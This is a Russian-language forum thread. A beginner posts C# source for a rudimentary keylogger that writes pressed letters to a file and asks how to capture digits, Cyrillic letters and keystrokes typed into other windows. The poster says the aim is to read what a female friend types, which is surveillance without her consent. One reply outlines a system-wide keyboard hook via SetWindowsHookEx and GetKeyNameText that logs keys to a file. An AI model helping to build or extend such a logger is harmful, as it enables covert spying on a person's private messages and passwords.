Вот код: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; namespace KeyLogger_2 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_KeyDown(object sender, KeyEventArgs e) { StreamWriter sw = new StreamWriter(@"C:\\KeyLogger.txt", true); if (e.KeyData == Keys.A) { sw.Write("A"); } else if (e.KeyData == Keys.B) { sw.Write("B"); } else if (e.KeyData == Keys.C) { sw.Write("C"); } else if (e.KeyData == Keys.D) { sw.Write("D"); } else if (e.KeyData == Keys.E) { sw.Write("E"); } else if (e.KeyData == Keys.F) { sw.Write("F"); } else if (e.KeyData == Keys.G) { sw.Write("G"); } else if (e.KeyData == Keys.H) { sw.Write("H"); } else if (e.KeyData == Keys.I) { sw.Write("I"); } else if (e.KeyData == Keys.K) { sw.Write("K"); } else if (e.KeyData == Keys.L) { sw.Write("L"); } else if (e.KeyData == Keys.M) { sw.Write("M"); } else if (e.KeyData == Keys.O) { sw.Write("O"); } else if (e.KeyData == Keys.Q) { sw.Write("Q"); } else if (e.KeyData == Keys.P) { sw.Write("P"); } else if (e.KeyData == Keys.R) { sw.Write("R"); } else if (e.KeyData == Keys.N) { sw.Write("N"); } else if (e.KeyData == Keys.S) { sw.Write("S"); } else if (e.KeyData == Keys.T) { sw.Write("T"); } else if (e.KeyData == Keys.U) { sw.Write("U"); } else if (e.KeyData == Keys.V) { sw.Write("V"); } else if (e.KeyData == Keys.W) { sw.Write("W"); } else if (e.KeyData == Keys.X) { sw.Write("X"); } else if (e.KeyData == Keys.Y) { sw.Write("Y"); } else if (e.KeyData == Keys.Z) { sw.Write("Z"); } else if (e.KeyData == Keys.J) { sw.Write("J"); } sw.Close(); } } } Теперь нужно что бы он умел распознавать цифры и русские буквы. И как научить его ловить нажатия с активных окон, а то он ловит нажатия когда на него (на сам keylogger) направлен фокус. В общем как всё это реализовать?
Неа, на youtube смотрел. Пытался с хуками работать (тоже на готовых примерах ) кажись получилось но хочу попробовать без них, только только начинаю изучать C#, по этому ещё остались не которые вопросы)))
Я ведь пароли воровать не собираюсь, он у меня не умеет на удалённой машине устанавливаться, он у меня не скрыт, на мыло не чего не отправляет, так что, я не знаю что ты там так переживаешь, я так за подругой хочу поглядеть, что она там пишет
хоть я и не сильно разбираюсь еще в программировании на си шарп, но думаю что писать подобную программку на .NET не лучшая идея...
Да возможно вы правы и мои попытки это всего лишь ошибки но я хочу закончить начатое! Да и как говорится на ошибках учатся=)
сори, тема запрещена, но я !(не нашел) не одной темы про кейлогерры в гугл http://www.google.ru/search?q=winapi%20keylogger P.S пиши на том, что не требует ничего лишнего(и ничего лишнего тоже).
рабочий это да=) только это то уже не хак софт, логгеры пишут на winapi. на фреймворке тоже можно реализовать, но это тупо. фрейворк очень криво работает с winapi
А я нашёл но критерии поиска у меня другие "KeyLogger C#" http://www.google.ru/search?hl=&q=Keylogger+C%23&sourceid=navclient-ff&rlz=1B3GGHP_ruRU433RU433&ie=UTF-8 Но там большинство с использованием хуков, (Hook) а я хотел бы попытаться без них, можно или нет, я не знаю, поэтому прошу о помощи в реализации. Но пока что всё без толку((
я не разбираюсь в шарпе,но без ловушки это не логер.правильно тут писали,нужно использование api, например SetWindowsHookEx. пример простейшей ловушки клавиатуры: вызвать SetWindowsHookEx с флагами WH_KEYBOARD @Proc HInstance 0 где proc адрес подключаемой процедуры.В процедуре отлавливаешь нажатия функцией GetKeyNameText и пишешь в файл.Это пример очееень кривого логера... ПЫСЫ: логеры запрещены, так что тему сотрут.